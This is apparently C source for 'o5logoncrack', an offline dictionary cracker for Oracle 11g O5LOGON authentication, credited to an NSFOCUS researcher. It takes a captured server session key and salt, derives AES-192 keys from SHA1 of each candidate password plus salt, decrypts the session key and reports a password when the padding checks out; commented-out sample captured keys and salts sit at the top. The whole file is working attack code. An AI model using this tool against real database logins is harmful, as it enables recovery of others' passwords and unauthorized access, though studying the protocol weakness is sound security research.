//unsigned char AUTH_SESSKEY [] = { 0x52,0xFC,0x04,0xB1,0xFF,0x81,0x10,0xCA,0x12,0x63,0xDF,0x5B,0xC6,0x1A,0x7E,0x57,0x74,0x0C,0x8A,0x51,0x11,0xD2,0x2B,0x41,0xE5,0x3C,0xC1,0x67,0xFD,0xF2,0xA6,0x87,0x89,0x58,0x20,0x0D,0x9B,0x2B,0x6A,0x51,0xC9,0x5D,0x77,0x9F,0xDE,0xBA,0xBB,0x69 };
//
//unsigned char AUTH_SESSKEY_C[] = { 0xFA,0x6D,0xCD,0x0F,0x38,0x9E,0x92,0xD1,0x8F,0x81,0x88,0xEC,0x69,0x31,0x3B,0x52,0x4F,0x42,0x11,0x84,0xFA,0xE6,0x79,0x61,0x3A,0x72,0xFC,0x8D,0xFD,0x0A,0x4C,0x7B,0xB9,0x3A,0x6A,0xCB,0x8E,0x05,0xB8,0x25,0x8A,0x02,0x0D,0x29,0x54,0xEC,0x1B,0x63 };
//
//unsigned char AUTH_PASSWORD [] = { 0x2C,0x5F,0x95,0x7A,0x65,0x32,0xAD,0x91,0xD9,0x16,0xF4,0xE5,0xFA,0x7D,0x2F,0xDA,0x0E,0x6C,0xDF,0xFB,0xAA,0xED,0x88,0x3C,0xAF,0x4F,0x20,0x0C,0x89,0x83,0xAE,0x3D };
//
//unsigned char AUTH_VFR_DATA [] = { 0x43,0xE0,0xBE,0x20,0xB3,0x2B,0x0B,0xB7,0x6E,0x57 };
//


//unsigned char AUTH_SESSKEY [] = { 0xED,0x91,0xB9,0x7A,0x04,0x00,0x0F,0x32,0x6F,0x17,0x43,0x0A,0x65,0xDA,0xCB,0x30,0xCD,0x1E,0xF7,0x88,0xE6,0xEC,0x31,0x07,0x42,0xB8,0x11,0xE3,0x21,0x12,0xC0,0xC9,0xCC,0x39,0x55,0x4C,0x9C,0x01,0xA0,0x90,0xCB,0x95,0xE9,0x5C,0x94,0x14,0x0C,0x28 };

//unsigned char AUTH_VFR_DATA [] = { 0x7F,0xD5,0x2B,0xC8,0x0A,0xA5,0x83,0x66,0x95,0xD4 };

//unsigned char AUTH_SESSKEY [] = { 0xBD,0x53,0x44,0x89,0x91,0xEE,0xAB,0x1E,0xCD,0x8D,0x32,0xFB,0x59,0x52,0x3F,0x0C,0xBD,0xB3,0x3B,0x40,0xC2,0x8F,0xEB,0xED,0xDD,0x5A,0xA3,0xA4,0xAF,0x0C,0xF6,0xB7,0x23,0x06,0x16,0x2D,0x3F,0x0C,0x1E,0x8D,0xB2,0x53,0x8A,0xF2,0x91,0xEC,0x01,0xA5};

//unsigned char AUTH_VFR_DATA [] = { 0x03,0x1C,0xB4,0x72,0xC4,0xD9,0x04,0x12,0xDD,0x31 };

//*********************************************************************************************************************

int HexStringtoBinArray(char* str, unsigned char* array){
int alen=strlen(str)/2;
unsigned char t[2];
unsigned int hexc;
int j=0;
int i=0;
for(;i<strlen(str);i=i+2){
t[0]=str[i];
t[1]=str[i+1];
hexc = t[0]-48;
if (hexc > 9) hexc-=7;
array[j]=hexc*16;
hexc = t[1]-48;
if (hexc > 9) hexc-=7;
array[j]+=hexc;
j++;
}
return j;
}

static void hexdump( FILE *f, const char *title, const unsigned char *s,int l) {
int n = 0;

fprintf(f, "%s", title);
for (; n < l; ++n) {
if ((n % 16) == 0) {
fprintf(f, "\n%04x", n);
}
fprintf(f, " %02x", s[n]);
}

fprintf(f, "\n");
}

void ORACLE_MixCase_Hash (char *passwd, int passwd_len, unsigned char salt[10], unsigned char* oracle_mixcase_hash) {
unsigned char to_hash[256];
SHA_CTX ctx;

memcpy (to_hash, passwd, passwd_len);
memcpy (to_hash+passwd_len, salt, 10);

SHA1_Init (&ctx);
SHA1_Update (&ctx, to_hash, passwd_len+10);
SHA1_Final (oracle_mixcase_hash, &ctx);
}

void ORACLE_TNS_Decrypt_AES192_CBC (unsigned char aes_key_bytes[24], unsigned char* input, int input_len, unsigned char* output) {
unsigned char iv[] = {0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0};

AES_KEY key;
AES_set_decrypt_key(aes_key_bytes, 192, &key);
AES_cbc_encrypt(input, output, input_len, &key, iv, AES_DECRYPT);
}

void ORACLE_TNS_Encrypt_AES192_CBC (unsigned char aes_key_bytes[24], unsigned char* input, int input_len, unsigned char* output) {
unsigned char iv[] = {0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0};

AES_KEY key;
AES_set_encrypt_key(aes_key_bytes, 192, &key);
AES_cbc_encrypt(input, output, input_len, &key, iv, AES_ENCRYPT);
}

void usage() {
fprintf(stdout, "o5logoncrack -k server sesskey -s salt -d dict\n");
exit(0);
}

int main(int argc, char* argv[]) {

char password [100];
char aes_key_bytes[24] = {0};
char dict_filename[256] = {0};
unsigned char Oracle_MixCaseHash[20] = {0};
unsigned char decrypted_server_sesskey[48] = {0};
unsigned char encrypted_server_sesskey[48] = {0};
unsigned char AUTH_SESSKEY[48] = {0};
unsigned char AUTH_VFR_DATA[10] = {0};
int len;
int ret;
int debug = 0;
FILE * fp = NULL;

int ch;
int args = 0;
while( ( ch = getopt( argc, argv, "k:s:d:v" ) ) != EOF ) {
switch(ch) {

case 'k':
HexStringtoBinArray(optarg, AUTH_SESSKEY);
break;
case 's':
HexStringtoBinArray(optarg, AUTH_VFR_DATA);
break;
case 'd':
strncpy(dict_filename, optarg, 255);
break;
case 'v':
debug = 1;
break;
default:
usage();
}
args++;
}

if (args < 3) usage();

printf ("*************************************************************\n");
printf ("Oracle 11g TNS AES-192 cracker by zz@nsfocus\n");
printf ("*************************************************************\n\n");

if ( (fp = fopen(dict_filename, "r")) == NULL ) {
perror("fail to read");
exit(1);
}

while(fgets(password, 100, fp) != NULL) {

len = strlen(password);
if (password[len-1] == 0xa && password[len-2] == 0xd) {
password[len-2] = '\0';
}
else password[len-1] = '\0';

if (debug)
fprintf(stdout, "try `%s'\n", password);
// Create Oracle Hash from the salt (AUTH_VFR_DATA) and the password
ORACLE_MixCase_Hash (password, strlen (password), AUTH_VFR_DATA, Oracle_MixCaseHash);

memset (aes_key_bytes,0,sizeof(aes_key_bytes));
memcpy (aes_key_bytes,Oracle_MixCaseHash, 20);

if (debug)
hexdump(stdout, "aes_key_bytes", aes_key_bytes, sizeof(aes_key_bytes));

memset (decrypted_server_sesskey, 0, sizeof(decrypted_server_sesskey));
ORACLE_TNS_Decrypt_AES192_CBC (aes_key_bytes, AUTH_SESSKEY, 48, decrypted_server_sesskey);

if (debug)
hexdump(stdout, "decrypted_server_sesskey", decrypted_server_sesskey, sizeof(decrypted_server_sesskey));

ret = strncmp(&decrypted_server_sesskey[40], "\x08\x08\x08\x08\x08\x08\x08\x08", 8);

if (ret == 0) {
printf ("\nFound password: %s \n\n", password);
return 0;
}

memset(password, 0, sizeof(password));

}

fclose(fp);
return 0;
}

参考链接